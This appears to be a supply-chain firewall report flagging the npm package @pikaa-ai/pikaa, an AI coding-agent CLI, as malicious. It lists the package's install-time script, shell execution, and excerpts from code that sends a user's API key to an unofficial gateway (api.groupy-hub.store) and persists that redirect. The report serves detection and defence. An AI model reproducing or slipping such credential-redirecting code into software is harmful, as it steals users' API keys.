@pikaa-ai/pikaa: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

@pikaa-ai/pikaa: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/pikaa.jsView file

10L11: import { spawnSync } from "node:child_process"; L12: import { existsSync, chmodSync } from "node:fs";

High

Child Process

Package source references child process execution.

bin/pikaa.jsView on unpkg · L10

dist/index.jsView file

509const isWindows = process.platform === "win32"; L510: const shellCmd = isWindows ? ["powershell.exe", "-NoProfile", "-Command", command] : ["/bin/sh", "-c", command]; L511: try {

High

Shell

Package source references shell execution.

dist/index.jsView on unpkg · L509

3899import { randomBytes, createHash } from "crypto"; L3900: import { exec } from "child_process"; L3901: class AuthClient { ... L3906: async directLogin(params) { L3907: const backendUrl = (params.backendUrl || process.env.GROUPY_BACKEND_URL || "https://api.groupy-hub.store").replace(/\/+$/, ""); L3908: const formData = new URLSearchParams({

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/index.jsView on unpkg · L3899

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. dist/index.js: import { existsSync, readFileSync, writeFileSync, mkdirSync, unlinkSync } from "fs"; writeFileSync(this.filePath, JSON.stringify(credentials, null, 2), "utf8"); getBaseUrl() { return creds?.baseUrl; const baseUrl = (this.config.baseUrl || process.env.GROUPY_BASE_URL || process.env.OPENAI_BASE_URL || savedCreds?.baseUrl || "https://api.groupy-hub.store/v1").replace(/\/+$/, ""); if (!apiKey && !baseUrl.includes("localhost") && !baseUrl.includes("127.0.0.1") && !baseUrl.includes("groupy-hub.store")) { headers["Authorization"] = `Bearer ${apiKey}`; response = await fetch(`${baseUrl}/chat/completions`, {

High

Credential Redirect Persistence

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

dist/index.jsView on unpkg

scripts/postinstall.jsView file

12import { pipeline } from "node:stream/promises"; L13: import https from "node:https"; L14: L15: const __filename = fileURLToPath(import.meta.url); L16: const __dirname = dirname(__filename); L17: const rootDir = join(__dirname, ".."); L18: L19: const pkg = JSON.parse( L20: await import("node:fs").then((fs) => L21: fs.readFileSync(join(rootDir, "package.json"), "utf8") L22: ) ... L27: function getBinaryName() {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

scripts/postinstall.jsView on unpkg · L12

bin/groupy.cmdView file

•path = bin/groupy.cmd kind = build_helper sizeBytes = 95 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bin/groupy.cmdView on unpkg

Source & flagged code

9 flagged

package.jsonView file

Lines 8-48json

8 "bin": {

9 "pikaa": "./bin/pikaa.js",

10 "groupy": "./bin/pikaa.js"

11 },

12 "type": "module",

13 "files": [

14 "dist",

15 "bin",

16 "scripts/postinstall.js",

17 "README.md",

18 "LICENSE"

19 ],

20 "scripts": {

21 "start": "bun run src/cli/index.ts",

22 "test": "bun test --timeout 30000",

23 "typecheck": "tsc --noEmit",

24 "build:js": "bun build ./src/index.ts --outdir ./dist --target=bun && bun build ./src/cli/index.ts --outfile ./dist/cli.js --target=bun",

25 "build:exe": "bun build ./src/cli/index.ts --compile --outfile pikaa.exe",

26 "build:binaries": "bun run scripts/build-binaries.ts",

27 "build": "bun run build:js && bun run build:exe",

28 "postinstall": "node scripts/postinstall.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L28

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L28

29 "prepublishOnly": "bun run build:js"

30 },

31 "keywords": [

32 "ai",

33 "coding-agent",

34 "codex",

35 "claude-code",

36 "cli",

37 "agentic",

38 "sub-agents",

39 "mcp",

40 "worktree"

41 ],

42 "author": "Mesosfer",

43 "license": "MIT",

44 "devDependencies": {

45 "@types/bun": "latest",

46 "@types/node": "^22.0.0",

47 "typescript": "^5.7.0"

48 }

bin/pikaa.jsView file

Lines 1-30javascript

1#!/usr/bin/env node

2

3/**

4 * Universal Cross-Platform Dispatcher for Pikaa / Groupy Agent.

5 *

6 * 1. Runs precompiled native binary if present (downloaded by postinstall)

7 * 2. Falls back to Bun if installed (rare, for unsupported platforms)

8 * 3. Shows helpful install instructions if neither is available

9 */

10

11import { spawnSync } from

dist/index.jsView file

Lines 27-67javascript

27

28class ExecutionPolicyError extends GroupyError {

29 constructor(message) {

30 super(message, "EXEC_POLICY_DENIED", false);

31 this.name

scripts/postinstall.jsView file

Lines 1-32javascript

1#!/usr/bin/env node

2

3/**

4 * Postinstall: downloads the correct precompiled pikaa binary from GitHub Releases.

5 * Runs automatically after `npm install -g @pikaa-ai/pikaa`.

6 * Uses only Node.js built-ins — no Bun required.

7 */

8

9import { createWriteStream, chmodSync, existsSync, mkdirSync } from "node:fs";

10import

bin/groupy.cmdView file

•path = bin/groupy.cmd kind = build_helper sizeBytes = 95 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bin/groupy.cmdView on unpkg